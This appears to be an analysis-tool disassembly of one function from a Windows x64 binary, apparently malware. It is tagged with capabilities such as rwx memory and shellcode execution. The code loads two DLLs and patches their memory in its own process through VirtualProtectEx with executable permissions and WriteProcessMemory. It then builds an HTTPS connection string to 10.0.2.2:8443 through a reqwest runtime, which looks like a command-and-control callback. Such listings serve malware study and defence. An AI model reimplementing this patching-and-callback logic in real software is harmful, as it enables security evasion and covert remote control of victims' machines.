Function at 0x14000d89a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf68
movaps xmmword [rsp + 0xf50], xmm6
lea rdx, [0x1400a6c9e]
lea rsi, [rsp + 0x330]
mov r8d, 0x20
mov rcx, rsi
call fcn.140001971
mov rsi, qword [rsi]
test rsi, rsi
je 0x14000daad
lea rdi, [rsp + 0x330]
mov rbp, qword [rdi + 8]
mov r15, qword [rdi + 0x10]
lea rdx, [0x1400a6cbe]
mov r8d, 0x22
mov rcx, rdi
call fcn.140001971
mov rbx, qword [rdi]
test rbx, rbx
je 0x14000dabf
lea rdi, [rsp + 0x330]
mov r13, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
lea rdx, [0x1400a6ce0]
mov r8d, 0x1d
mov rcx, rdi
call fcn.140001971
mov rax, qword [rdi]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000dace
lea r12, [rsp + 0x330]
mov rax, qword [r12 + 8]
mov qword [rsp + 0x48], rax
mov rdi, qword [r12 + 0x10]
mov rcx, r12
mov rdx, rsi
mov r8, r15
call fcn.14001f9db
cmp dword [r12], 2
je 0x14001069d
lea rcx, [rsp + 0x940]
lea rdx, [rsp + 0x330]
mov r8d, 0x308
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0x330]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.14001f9db
cmp dword [r15], 2
je 0x14001069d
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], rbx
lea rcx, [rsp + 0xc48]
lea rdx, [rsp + 0x330]
mov r8d, 0x308
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rsp + 0x330]
mov rcx, r14
mov rdx, qword [rsp + 0x30]
mov r8, rdi
call fcn.14001f9db
cmp dword [r14], 2
je 0x14001069d
lea rcx, [rsp + 0x638]
lea rdi, [rsp + 0x330]
mov r8d, 0x308
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rsp + 0xaf8]
xor eax, eax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb08]
xor ebx, ebx
sub rbx, rax
mov r13, 0xffffffffffffffff
lea r14, [0x1400a6cfd]
mov r15, r12
lea rax, [rbx + r13]
cmp rax, 0xffffffffffffffff
je 0x14000daf1
mov rcx, rdi
mov rdx, r15
call fcn.14001f13b
cmp dword [rsp + 0x330], 9
jne 0x14001069d
mov rcx, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x340]
mov r9d, 5
mov r8, r14
call fcn.14001282a
inc r13
add r15, 0x40
test al, al
je 0x14000da48
shl r13, 6
mov eax, dword [r12 + r13 + 0x28]
mov qword [rsp + 0x28], rax
mov r12d, dword [r12 + r13 + 0x2c]
jmp 0x14000daf4
lea rcx, [rsp + 0x330]
call fcn.140004936
jmp 0x14000dda1
lea rcx, [rsp + 0x330]
call fcn.140004936
jmp 0x14000dae6
lea rcx, [rsp + 0x330]
call fcn.140004936
mov rcx, rbx
mov rdx, r13
call fcn.140010c6f
mov rcx, rsi
mov rdx, rbp
jmp 0x14000dd9c
xor r12d, r12d
mov rdi, qword [rsp + 0xe00]
mov rbx, qword [rsp + 0xe10]
inc rbx
lea r14, [rsp + 0x330]
lea r15, [0x1400a6cfd]
dec rbx
je 0x14000db5a
mov rcx, r14
mov rdx, rdi
call fcn.14001f13b
cmp dword [rsp + 0x330], 9
jne 0x14001069d
add rdi, 0x40
mov rcx, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x340]
mov r9d, 5
mov r8, r15
call fcn.14001282a
test al, al
je 0x14000db16
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x80], rbp
mov r13, qword [rsp + 0x7f0]
xor r12d, r12d
mov rax, qword [rsp + 0x800]
xor ebx, ebx
sub rbx, rax
mov rbp, 0xffffffffffffffff
lea rdi, [rsp + 0x330]
lea r14, [0x1400a6cfd]
mov r15, r13
lea rax, [rbx + rbp]
cmp rax, 0xffffffffffffffff
je 0x14000dbf7
mov rcx, rdi
mov rdx, r15
call fcn.14001f13b
cmp dword [rsp + 0x330], 9
jne 0x14001069d
mov rcx, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x340]
mov r9d, 5
mov r8, r14
call fcn.14001282a
inc rbp
add r15, 0x40
test al, al
je 0x14000db9b
shl rbp, 6
mov r12d, dword [r13 + rbp + 0x28]
mov eax, dword [r13 + rbp + 0x2c]
jmp 0x14000dbf9
xor eax, eax
mov qword [rsp + 0x78], rax
lea rdx, [0x1400a6d02]
lea rdi, [rsp + 0x330]
mov r8d, 0xc
mov rcx, rdi
call fcn.14000d86d
mov r14, qword [rdi]
mov rcx, r14
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_LoadLibraryExW
mov r15, rax
mov rdx, qword [rdi + 8]
mov rcx, r14
call fcn.140085aa1
lea rdx, [0x1400a6d0e]
lea rbp, [rsp + 0x330]
mov r8d, 9
mov rcx, rbp
call fcn.14000d86d
mov r14, qword [rbp]
mov rcx, r14
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_LoadLibraryExW
mov rdi, rax
mov rdx, qword [rbp + 8]
mov rcx, r14
call fcn.140085aa1
mov eax, 0x1000
add r15, rax
add rdi, rax
call sub.kernel32.dll_GetCurrentProcessId
mov ecx, 0x1fffff
mov edx, 1
mov r8d, eax
call sub.kernel32.dll_OpenProcess
mov r14, rax
lea r13, [rsp + 0x150]
and dword [r13], 0
mov qword [rsp + 0x20], r13
mov rcx, rax
mov rdx, r15
mov rbx, qword [rsp + 0x28]
mov r8, rbx
mov r9d, 0x40
call sub.kernel32.dll_VirtualProtectEx
and qword [rbp], 0
mov qword [rsp + 0x20], rbp
mov rcx, r14
mov rdx, r15
mov r8, qword [rsp + 0x98]
mov r9, rbx
call sub.kernel32.dll_WriteProcessMemory
mov r9d, dword [r13]
mov qword [rsp + 0x20], r13
mov rcx, r14
mov rdx, r15
mov r8, rbx
call sub.kernel32.dll_VirtualProtectEx
mov qword [rsp + 0x20], r13
mov rcx, r14
mov rdx, rdi
mov r8, r12
mov r9d, 0x40
call sub.kernel32.dll_VirtualProtectEx
mov qword [rsp + 0x20], rbp
mov rcx, r14
mov rdx, rdi
mov r8, qword [rsp + 0x78]
mov r9, r12
call sub.kernel32.dll_WriteProcessMemory
mov r9d, dword [r13]
mov qword [rsp + 0x20], r13
mov rcx, r14
mov rdx, rdi
mov r8, r12
call sub.kernel32.dll_VirtualProtectEx
lea rcx, [rsp + 0x638]
call fcn.140003d7a
lea rcx, [rsp + 0xc48]
call fcn.140003d7a
lea rcx, [rsp + 0x940]
call fcn.140003d7a
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x48]
call fcn.140010c6f
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
call fcn.140010c6f
mov rcx, rsi
mov rdx, qword [rsp + 0x80]
call fcn.140010c6f
mov ecx, 0x44
call fcn.1400862c7
mov rsi, rax
mov rdi, rdx
lea rdx, [0x1400a6c5a]
mov r8d, 0x44
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0xc0]
mov qword [r15], rsi
mov qword [r15 + 8], rdi
mov qword [r15 + 0x10], 0x44
lea r14, [rsp + 0x330]
mov edx, 2
mov rcx, r14
call fcn.1400315fa
xorps xmm6, xmm6
lea rsi, [rsp + 0x150]
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi], xmm6
lea rdx, [0x1400d5030]
lea rdi, [rsp + 0x638]
mov r8d, 3
mov rcx, rdi
call fcn.140058f43
lea rbx, [rsp + 0x940]
mov rcx, rbx
mov rdx, r14
mov r8, rsi
mov r9, rdi
call fcn.14003702b
mov rcx, rbx
call fcn.140039fdd
lea rax, [rsp + 0x940]
mov ecx, 0xc
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
movaps xmmword [rsp + 0x200], xmm6
movaps xmmword [rsp + 0x110], xmm6
lea rdx, [rsp + 0x330]
mov ecx, 0xc
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x60], 1
mov qword [rdx + 0x68], 0xa
and dword [rdx + 0x78], 0
and dword [rdx + 0x80], 0
mov eax, 0x3b9aca00
mov dword [rdx + 0x90], eax
mov qword [rdx + 0x98], 0x5a
and dword [rdx + 0xa0], 0
mov dword [rdx + 0xb0], eax
mov dword [rdx + 0xc0], eax
lea r12, [rsp + 0x3f4]
mov byte [r12 + 0x7c], 4
mov eax, 8
mov qword [r12 + 0x84], rax
movups xmmword [r12 + 0x8c], xmm6
mov qword [r12 + 0x9c], rax
movups xmmword [r12 + 0xa4], xmm6
or qword [r12 + 0xb4], 0xffffffffffffffff
and qword [r12 + 0xbc], 0
movabs rax, 0x1000001010001
mov qword [r12 + 0xc4], rax
mov word [r12 + 0xcc], 0x200
mov byte [r12 + 0xce], 2
lea rsi, [rsp + 0x150]
mov rcx, rsi
mov rdx, r15
call section..text
cmp byte [rsi + 0x20], 2
jne 0x14000df6e
mov cl, 5
call fcn.140080728
mov rsi, rax
mov rcx, qword [rsp + 0x4b0]
call fcn.1400046cc
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x4b0], rsi
jmp 0x14000dfc1
movups xmm0, xmmword [0x1400d5048]
lea r8, [rsp + 0x50]
movaps xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [0x1400d5038]
movaps xmmword [r8], xmm0
lea rsi, [rsp + 0x638]
lea rdi, [rsp + 0x330]
lea r9, [rsp + 0x150]
mov rcx, rsi
mov rdx, rdi
call fcn.14003702b
mov rcx, rsi
call fcn.140039fdd
mov rax, qword [rdi + 0x180]
mov qword [rsp + 0x30], rax
lea r13, [rsp + 0x940]
lea rdx, [rsp + 0x330]
mov ecx, 0xc
mov rdi, r13
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rdx + 0x60]
movups xmm1, xmmword [rdx + 0x70]
mov eax, dword [rdx + 0x80]
mov dword [rsp + 0x28], eax
mov rax, qword [r14 + 0x84]
mov qword [rsp + 0x138], rax
mov eax, dword [r14 + 0x8c]
mov dword [rsp + 0x140], eax
movups xmm2, xmmword [rdx + 0x90]
mov eax, dword [rdx + 0xa0]
mov dword [rsp + 0x48], eax
mov rax, qword [r14 + 0xa4]
mov qword [rsp + 0x1c0], rax
mov eax, dword [r14 + 0xac]
mov dword [rsp + 0x1c8], eax
mov r10d, dword [rdx + 0xb0]
mov rax, qword [r14 + 0xb4]
mov qword [rsp + 0xf8], rax
mov eax, dword [r14 + 0xbc]
mov dword [rsp + 0x100], eax
mov r11d, dword [rdx + 0xc0]
lea rdi, [rsp + 0x638]
mov ecx, 0x1f
mov rsi, r12
rep movsd dword [rdi], dword [rsi]
mov r15b, byte [rdx + 0x140]
mov eax, dword [r14 + 0x141]
mov ecx, dword [r14 + 0x144]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], eax
mov rax, qword [rdx + 0x148]
movups xmm3, xmmword [r14 + 0x150]
movaps xmmword [rsp + 0x200], xmm3
mov r8, qword [rdx + 0x160]
movups xmm3, xmmword [r14 + 0x168]
movaps xmmword [rsp + 0x110], xmm3
mov r9, qword [rdx + 0x178]
mov rbp, qword [rdx + 0x188]
movzx ebx, word [rdx + 0x190]
mov dl, byte [rdx + 0x192]
movups xmm3, xmmword [r14 + 0x193]
movaps xmmword [rsp + 0x50], xmm3
mov rcx, qword [r14 + 0x1a0]
mov qword [rsp + 0x5d], rcx
lea r14, [rsp + 0x150]
mov ecx, 0xc
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
movaps xmm3, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0xa0], xmm3
lea r13, [rsp + 0x330]
mov ecx, 0xc
mov rsi, r14
mov rdi, r13
rep movsq qword [rdi], qword [rsi]
movups xmmword [r13 + 0x60], xmm0
movups xmmword [r13 + 0x70], xmm1
mov ecx, dword [rsp + 0x28]
mov dword [r13 + 0x80], ecx
mov rcx, qword [rsp + 0x138]
mov qword [r13 + 0x84], rcx
mov ecx, dword [rsp + 0x140]
mov dword [r13 + 0x8c], ecx
movups xmmword [r13 + 0x90], xmm2
mov ecx, dword [rsp + 0x48]
mov dword [r13 + 0xa0], ecx
mov rcx, qword [rsp + 0x1c0]
mov qword [r13 + 0xa4], rcx
mov ecx, dword [rsp + 0x1c8]
mov dword [r13 + 0xac], ecx
mov dword [r13 + 0xb0], r10d
mov ecx, dword [rsp + 0x100]
mov dword [r13 + 0xbc], ecx
mov rcx, qword [rsp + 0xf8]
mov qword [r13 + 0xb4], rcx
mov dword [r13 + 0xc0], r11d
lea r12, [rsp + 0x3f4]
mov ecx, 0x1f
mov rdi, r12
lea rsi, [rsp + 0x638]
rep movsd dword [rdi], dword [rsi]
mov byte [r12 + 0x7c], r15b
mov ecx, dword [rsp + 0x40]
mov dword [r12 + 0x7d], ecx
mov ecx, dword [rsp + 0x43]
mov dword [r12 + 0x80], ecx
mov qword [r12 + 0x84], rax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [r12 + 0x8c], xmm0
mov qword [r12 + 0x9c], r8
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [r12 + 0xa4], xmm0
mov qword [r12 + 0xb4], r9
mov rax, qword [rsp + 0x30]
mov qword [r12 + 0xbc], rax
mov qword [r12 + 0xc4], rbp
mov word [r12 + 0xcc], bx
mov byte [r12 + 0xce], dl
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [r12 + 0xcf], xmm0
mov rax, qword [rsp + 0x5d]
mov qword [r12 + 0xdc], rax
call fcn.140049eb9
mov rsi, rax
mov rdi, rdx
lea r15, [rsp + 0x3f8]
mov rcx, r15
call fcn.14006cac5
movups xmm0, xmmword [0x1400d4db0]
movups xmmword [r15 + 0x10], xmm0
movups xmm0, xmmword [0x1400d4da0]
movups xmmword [r15], xmm0
mov qword [r15 + 0x20], rsi
mov qword [r15 + 0x28], rdi
mov byte [r15 + 0x78], 3
mov ecx, 0xc
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov rbp, qword [r15 - 0x68]
mov r13, qword [r15 - 0x60]
mov rax, qword [r15 - 0x58]
mov qword [rsp + 0x30], rax
mov eax, dword [r15 - 0x50]
mov dword [rsp + 0x28], eax
mov eax, dword [r15 - 0x4c]
mov dword [rsp + 0x48], eax
mov eax, dword [r15 - 0x48]
mov dword [rsp + 0x90], eax
mov rax, qword [r15 - 0x44]
mov qword [rsp + 0x138], rax
mov eax, dword [r15 - 0x3c]
mov dword [rsp + 0x140], eax
mov eax, dword [r15 - 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [r15 - 0x34]
mov dword [rsp + 0x80], eax
mov rax, qword [r15 - 0x30]
mov qword [rsp + 0x98], rax
mov eax, dword [r15 - 0x28]
mov dword [rsp + 0x78], eax
mov rax, qword [r15 - 0x24]
mov qword [rsp + 0x1c0], rax
mov eax, dword [r15 - 0x1c]
mov dword [rsp + 0x1c8], eax
mov eax, dword [r15 - 0x18]
mov dword [rsp + 0xf0], eax
mov eax, dword [r15 - 0xc]
mov dword [rsp + 0x100], eax
mov rax, qword [r15 - 0x14]
mov qword [rsp + 0xf8], rax
mov ecx, 0x1f
mov eax, dword [r15 - 8]
mov dword [rsp + 0xe8], eax
mov rsi, r12
lea rdx, [rsp + 0x638]
mov rdi, rdx
rep movsd dword [rdi], dword [rsi]
mov eax, dword [r15 + 0x7c]
mov dword [rsp + 0x43], eax
mov eax, dword [r15 + 0x79]
mov dword [rsp + 0x40], eax
movups xmm0, xmmword [r15 + 0x88]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [r15 + 0xa0]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [r15 + 0xd8]
mov qword [rsp + 0x5d], rax
mov al, byte [r15 + 0xc1]
mov byte [rsp + 0x39], al
mov al, byte [r15 + 0xc2]
mov byte [rsp + 0x3a], al
movups xmm0, xmmword [r15 + 0xcb]
mov al, byte [r15 + 0xc3]
mov byte [rsp + 0x3b], al
mov al, byte [r15 + 0xc4]
mov byte [rsp + 0x3c], al
mov al, byte [r15 + 0xc5]
mov byte [rsp + 0x3d], al
mov al, byte [r15 + 0xc6]
mov byte [rsp + 0x3e], al
mov al, byte [r15 + 0xc7]
mov byte [rsp + 0x3f], al
mov al, byte [r15 + 0xc8]
mov byte [rsp + 0x1d8], al
mov al, byte [r15 + 0xc9]
mov byte [rsp + 0x1e0], al
mov al, byte [r15 + 0xca]
mov byte [rsp + 0x1e8], al
mov rax, qword [r15 + 0x80]
mov qword [rsp + 0x318], rax
mov rax, qword [r15 + 0x98]
mov qword [rsp + 0x320], rax
mov rax, qword [r15 + 0xb0]
mov qword [rsp + 0x328], rax
mov r15, qword [r15 + 0xb8]
movaps xmmword [rsp + 0x50], xmm0
mov ecx, 0xc
lea rdi, [rsp + 0x270]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x1f8], eax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x260], rax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x268], eax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x250], rax
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x258], eax
mov ecx, 0x1f
lea rdi, [rsp + 0xc48]
mov rsi, rdx
rep movsd dword [rdi], dword [rsi]
mov eax, dword [rsp + 0x43]
mov dword [rsp + 0x1bb], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x1b8], eax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x220], xmm0
mov rax, qword [rsp + 0x5d]
mov qword [rsp + 0x22d], rax
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x2f0], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2d0], xmm0
mov ecx, 0x2220
mov edx, 8
call fcn.14008a1fe
mov rsi, rax
xorps xmm6, xmm6
movups xmmword [rax + 0x2200], xmm6
movups xmmword [rax + 0x2210], xmm6
mov ecx, 0x68
mov edx, 8
call fcn.14008a1fe
mov edi, 1
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rsi
and qword [rax + 0x20], 0
mov byte [rax + 0x28], 0
mov qword [rax + 0x30], rsi
movups xmmword [rax + 0x38], xmm6
movups xmmword [rax + 0x48], xmm6
and qword [rax + 0x58], 0
mov qword [rax + 0x60], rdi
lock inc qword [rax]
jle 0x14001069d
mov r12, rax
mov qword [rsp + 0xf8], rax
mov ecx, 0x48
mov edx, 8
call fcn.14008a1fe
mov qword [rax], rdi
mov qword [rax + 8], rdi
and qword [rax + 0x10], 0
and qword [rax + 0x40], 0
lock inc qword [rax]
jle 0x14001069d
mov rbx, rax
mov qword [rsp + 0x310], r13
lea rsi, [rsp + 0x330]
and qword [rsi + 0x10], 0
mov qword [rsp + 0x1c0], rax
and qword [rsi], 0
mov ecx, 0x1d
call fcn.1400862c7
movups xmm0, xmmword [str.reqwest_internal_sync_runtime_]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x1400d51b5]
movups xmmword [rax + 0xd], xmm0
lea r8, [rsp + 0x940]
mov qword [r8], rax
mov qword [r8 + 8], rdx
mov qword [r8 + 0x10], 0x1d
lea rdi, [rsp + 0x638]
mov rcx, rdi
mov rdx, rsi
call fcn.14008a0fd
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x200], rax
mov eax, dword [rsp + 0x1f8]
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x110], rax
mov eax, dword [rsp + 0x268]
mov dword [rsp + 0x118], eax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x258]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0x1b8]
mov ecx, dword [rsp + 0x1bb]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x43], ecx
movaps xmm0, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0xc0], xmm0
mov rsi, qword [rdi + 0x10]
xor eax, eax
cmp qword [rdi], rax
je 0x14000e708
mov r13, qword [rsp + 0x640]
jmp 0x14000e710
call fcn.14008a154
mov r13, rax
test rsi, rsi
je 0x14000e75b
lea rax, [rsp + 0x650]
lea rdx, [rsp + 0x940]
mov qword [rdx], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdx + 8], xmm0
lea rsi, [rsp + 0x330]
mov rcx, rsi
call fcn.140088f33
cmp qword [rsi], 0
jne 0x14001069d
mov rcx, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x340]
jmp 0x14000e75d
xor ecx, ecx
call fcn.140087186
mov qword [rsp + 0x138], rax
lock inc qword [rax]
jle 0x14001069d
mov rsi, rax
mov r14, rbp
mov ecx, 0x30
mov edx, 8
call fcn.14008a1fe
mov rdi, rax
mov eax, 1
mov qword [rdi], rax
mov qword [rdi + 8], rax
xorps xmm0, xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rsp + 0x940], rdi
lock inc qword [rdi]
jle 0x14001069d
xor ecx, ecx
call fcn.14008a22e
mov rbp, rax
test rax, rax
je 0x14000e7d0
lock inc qword [rbp]
jle 0x14001069d
mov rcx, rbp
jmp 0x14000e7d2
xor ecx, ecx
call fcn.14008a22e
lea rcx, [rsp + 0x330]
mov qword [rcx], rax
call fcn.14008577b
mov rax, qword [rsp + 0x940]
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x14000e801
add rcx, 0x10
call fcn.14008a0ac
mov ecx, 0x1d0
mov edx, 8
call fcn.14008a1fe
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbp
mov ecx, 0xc
lea rdi, [rax + 0x18]
lea rsi, [rsp + 0x270]
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x78], r14
mov rcx, qword [rsp + 0x310]
mov qword [rax + 0x80], rcx
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x88], rcx
mov ecx, dword [rsp + 0x28]
mov dword [rax + 0x90], ecx
mov ecx, dword [rsp + 0x48]
mov dword [rax + 0x94], ecx
mov ecx, dword [rsp + 0x90]
mov dword [rax + 0x98], ecx
mov rcx, qword [rsp + 0x200]
mov qword [rax + 0x9c], rcx
mov ecx, dword [rsp + 0x208]
mov dword [rax + 0xa4], ecx
mov ecx, dword [rsp + 0x88]
mov dword [rax + 0xa8], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rax + 0xac], ecx
mov rcx, qword [rsp + 0x98]
mov qword [rax + 0xb0], rcx
mov ecx, dword [rsp + 0x78]
mov dword [rax + 0xb8], ecx
mov rcx, qword [rsp + 0x110]
mov qword [rax + 0xbc], rcx
mov ecx, dword [rsp + 0x118]
mov dword [rax + 0xc4], ecx
mov ecx, dword [rsp + 0xf0]
mov dword [rax + 0xc8], ecx
mov rcx, qword [rsp + 0xa0]
mov qword [rax + 0xcc], rcx
mov ecx, dword [rsp + 0xa8]
mov dword [rax + 0xd4], ecx
mov ecx, dword [rsp + 0xe8]
mov dword [rax + 0xd8], ecx
lea rdi, [rax + 0xdc]
lea rsi, [rsp + 0xc48]
mov ecx, 0x1f
rep movsd dword [rdi], dword [rsi]
mov byte [rax + 0x158], 3
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x43]
mov dword [rax + 0x159], ecx
mov dword [rax + 0x15c], edx
mov rcx, qword [rsp + 0x318]
mov qword [rax + 0x160], rcx
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rax + 0x168], xmm0
mov rcx, qword [rsp + 0x320]
mov qword [rax + 0x178], rcx
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x180], xmm0
mov rcx, qword [rsp + 0x328]
mov qword [rax + 0x190], rcx
mov qword [rax + 0x198], r15
mov byte [rax + 0x1a0], 0
mov cl, byte [rsp + 0x39]
mov byte [rax + 0x1a1], cl
mov cl, byte [rsp + 0x3a]
mov byte [rax + 0x1a2], cl
mov cl, byte [rsp + 0x3b]
mov byte [rax + 0x1a3], cl
mov cl, byte [rsp + 0x3c]
mov byte [rax + 0x1a4], cl
mov cl, byte [rsp + 0x3d]
mov byte [rax + 0x1a5], cl
mov cl, byte [rsp + 0x3e]
mov byte [rax + 0x1a6], cl
mov cl, byte [rsp + 0x3f]
mov byte [rax + 0x1a7], cl
mov cl, byte [rsp + 0x1d8]
mov byte [rax + 0x1a8], cl
mov cl, byte [rsp + 0x1e0]
mov byte [rax + 0x1a9], cl
mov cl, byte [rsp + 0x1e8]
mov byte [rax + 0x1aa], cl
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [rax + 0x1ab], xmm0
mov rcx, qword [rsp + 0x22d]
mov qword [rax + 0x1b8], rcx
mov qword [rax + 0x1c0], r12
mov qword [rax + 0x1c8], rbx
lea r8, [0x1400d4030]
mov rcx, r13
mov rdx, rax
call fcn.14008a272
mov rdi, rdx
test rax, rax
jne 0x1400106b2
mov rax, qword [rsp + 0x138]
lea rsi, [rsp + 0x940]
mov rcx, qword [rsi]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rcx
mov qword [rsp + 0x160], rdi
call fcn.140089658
mov rcx, rax
call fcn.1400807b7
add rax, 0x10
lea rcx, [0x1400d38c0]
mov qword [rsp + 0x330], rcx
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0x330]
mov qword [rsi], rax
mov qword [rsp + 0x638], rbx
test rbx, rbx
je 0x14001069d
mov rcx, rsi
call fcn.140095670
mov ebp, eax
test bpl, 1
jne 0x14000eb7a
mov edi, ebp
shr edi, 0x10
mov r14, qword [rbx + 0x40]
test r14b, 2
jne 0x14000eb9f
test r14b, 4
jne 0x14000eb8c
test r14b, 1
je 0x14000eb14
mov rax, qword [rsp + 0x940]
mov rcx, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
mov r8, qword [rax]
mov r9, qword [rax + 8]
call fcn.1400956b7
test al, al
je 0x14000eb1c
test r14b, 1
je 0x14000eb3e
jmp 0x14000eb6e
mov rax, qword [rbx + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000eb20
test al, 2
jne 0x14000eb99
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x940]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov rax, qword [rbx + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x14000eb5b
test al, 2
jne 0x14000eb9f
shr ebp, 8
mov ecx, ebp
mov edx, edi
call fcn.14009567f
call fcn.1400896ac
mov rbx, qword [rsp + 0x638]
jmp 0x14000eab4
xor ebx, ebx
xor ecx, ecx
mov edx, edi
call fcn.14009567f
jmp 0x14000ebd2
lock or qword [rbx + 0x40], 1
mov r14, qword [rbx + 0x18]
mov rsi, qword [rbx + 0x10]
and qword [rbx + 0x10], 0
xor ebx, ebx
xor ecx, ecx
mov edx, edi
call fcn.14009567f
test rsi, rsi
je 0x14000ebd2
lea rsi, [rsp + 0x638]
mov rcx, rsi
call fcn.14006cd4d
and qword [rsi], 0
mov bl, 1
lea rsi, [rsp + 0x638]
mov rcx, rsi
call fcn.140080774
mov rax, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x338]
call qword [rax + 0x18]
test bl, bl
je 0x1400106e3
test r14, r14
jne 0x1400106ea
mov rax, qword [rsp + 0x160]
lea rdi, [rsp + 0x330]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rdi], xmm0
mov ecx, 0x30
mov edx, 8
call fcn.14008a1fe
mov r14d, 1
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r12
mov rcx, qword [rdi + 0x10]
mov qword [rax + 0x28], rcx
movaps xmm0, xmmword [rdi]
movups xmmword [rax + 0x18], xmm0
lea rbx, [rsp + 0xf8]
mov qword [rbx], rax
mov qword [rbx + 8], 0x1e
and dword [rbx + 0x10], 0
mov ecx, 0xd
call fcn.1400862c7
movabs rcx, 0x322e322e302e3031
mov qword [rax], rcx
movabs rcx, 0x333434383a322e32
mov qword [rax + 5], rcx
lea r13, [rsp + 0x1c0]
mov qword [r13], rax
mov qword [r13 + 8], rdx
mov qword [r13 + 0x10], 0xd
mov qword [rsp + 0x638], r13
lea rax, str.https:___
mov qword [rdi], rax
mov ebp, 2
mov qword [rdi + 8], rbp
and qword [rdi + 0x20], 0
lea r15, [0x140004f6b]
mov qword [rsp + 0x640], r15
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r14
lea rcx, [rsp + 0x138]
mov rdx, rdi
call fcn.140004b3a
lea rax, str.https:___
mov qword [rdi], rax
mov qword [rdi + 8], rbp
and qword [rdi + 0x20], 0
mov qword [rsp + 0x638], r13
mov qword [rsp + 0x640], r15
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r14
lea rcx, [rsp + 0x2d0]
lea r12, [rsp + 0x330]
mov rdx, r12
call fcn.140004b3a
